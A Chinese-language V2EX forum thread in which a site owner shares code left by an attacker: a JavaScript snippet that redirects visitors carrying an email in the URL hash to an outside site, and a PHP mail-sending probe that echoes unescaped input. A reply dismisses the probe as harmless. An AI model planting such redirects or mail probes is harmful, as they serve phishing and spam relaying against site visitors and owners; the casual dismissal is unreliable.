网站被黑,请教下大佬恶意代码的作用

2020-02-05 14:50:47 +08:00
 cquyf
一个网站被黑( https://virmach.net/ ),目前已经恢复,问下各位大佬,黑客留下的一个代码如下:

<script type="text/javascript" >
function validateEmail(email) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(email);
}
var hash = window.location.hash.substring(1);
if(validateEmail(hash)) {
window.location = "https://rpsalaw.com/Fex/?email="+hash;
}
</script>

请问这个代码是用来干什么的?
2248 次点击
所在节点    程序员
4 条回复
maichael
2020-02-05 14:52:27 +08:00
判断到 url 的 hash 参数里面如果是一个邮箱地址的话就跳转到 rpsalaw 这个网站。
cquyf
2020-02-05 15:08:22 +08:00
@maichael 还有一个恶意文件 Test.php ,代码如下:

<?php
error_reporting(0);
echo '<head>
<title> Email sending tester</title>
</head>
<body><b><color> Email sending tester</color></b><br>Write your email and click on send email test<br>
<form method="post">
<input type="email" name="email" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required="" placeholder="username@domain.tld" value="' . $_POST['email'] . '">
<input type="submit" name="send" value="Send Email Test" style="border:none;background-color: #65d05e;color:#fff;cursor:pointer;">
</form>
<br>
</body>';
if (isset($_POST['email']))
{
$rnd = rand();
mail($_POST['email'],"Email Sending Test Report ID: " . $rnd ,"WORKING!");
print "<font color=orange><b>Email Sent To: " . $_POST['email'] . ", Report ID: " . $rnd . "</b></font>";
}
maichael
2020-02-05 15:20:40 +08:00
@cquyf #2 也没干啥,就发邮件而已,估计是拿你网站练手了。
cquyf
2020-02-05 16:16:52 +08:00
@maichael 那就好,非常感谢大佬。小站也有黑客光顾,哈哈

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/642280

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX